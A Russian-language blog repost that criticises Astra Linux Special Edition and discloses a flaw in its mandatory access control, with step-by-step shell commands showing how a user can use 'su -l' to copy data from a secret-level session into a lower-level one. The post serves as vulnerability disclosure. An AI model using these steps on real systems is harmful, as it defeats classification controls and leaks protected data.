werwolf_lg (werwolf_lg) wrote,
werwolf_lg
werwolf_lg

Category:

Критическая уязвимость в Astra Linux

Есть такой дистрибутив линукса Astra Linux Special Edition, который сертифицирован МО РФ, ФСТЕК. И который создается в лучших традициях линуксоидов, виндовых программистов решивших писать под линукс, как под виндовс, ну и специфических реалиях российской оборонки. Понятно что из этого всего что-то нормальное не могло получится. В итоге сделали кучу костылей, вместо того, чтобы доделать уже существующие и надежно работающие решения. В итоге был найден эксплойт для получения доступа к данным различного уровня доступа.

Под катом репост оригинала:

Описание уязвимости

Критическая уязвимость в Astra Linux позволяет пользователю изменять категории мандатного доступа, понижая степень секретности и класс для сведений. Одной из причин описанной проблемы является закрытость проекта и построение велосипедов вместо использования значительно более проверенных и протестированных решений, таких, как SELinux. Для мандатного контроля доступа в Astra Linux используются следующие компоненты: модуль ядра parsecfs, реализующий монтирование файловых систем, видимых пользователям с одинаковым уровнем доступа, аудит действий пользователя и мандатный контроль доступа, юзерспейсный сервис для настройки ядерной части и модули PAM для аутентификации и авторизации пользователей. Идеологически модель, используемая в Astra Linux напоминает модель модель Белла-Лападулы, реализованную в Multi-level security политике SELinux, но имеет одно отличие: пользователю разрешено выбирать при входе в систему, с каким классом и уровнем сведений он желает работать. При обычной работе пользователь даже не видит документы, имеющие другой класс, так как содержимое его домашнего каталога фактически “монтируется” заново при каждом входе в систему. При этом, пользователю по умолчанию разрешено выполнять команду su, причём эта команда, помимо ID пользователя, изменяет и его мандатную метку, а опция -l “перемонтирует” и его домашний каталог.

Эксплоит

1) Создаём юзера, указав ему минимальный уровень доступа 0, а максимальный 1:
level2:0:0:1:0
2) Логинимся от секретного пользователя.

Astra Linux SE 1.3 (smolensk)
tty1
astra login: level2
Secret level [1]: 1

3) Создаём файл с секретными данными

level2@astra~$ echo “secret message” >test.txt

4) Повышаем привиллегии, открываем файл на чтение в старой сессии и скармливаем в новую
level2@astra~$ su -l level2 -c “echo `cat test1.txt` > secret.txt”

5) Проверяем результат, заходим с другим уровнем доступа:
Astra Linux SE 1.3 (smolensk)
tty1
astra login: level2
Secret level [1]: 0

level2@astra~$ cat secret.txt
secret message

Аналогичным образом возможен перенос документов между категориями и различными пользователями. Резюмируя вышесказанное, критическая уязвимость в Astra Linux несёт серьёзную угрозу безопасности органов государственной власти.

Originally published at Werwolf blog's. You can comment here or there.

Tags: linux, ЖЖ, Новости, идиоты
Subscribe
  • Post a new comment

    Error

    default userpic

    Your reply will be screened

    Your IP address will be recorded 

    When you submit the form an invisible reCAPTCHA check will be performed.
    You must follow the Privacy Policy and Google Terms of use.
  • 6 comments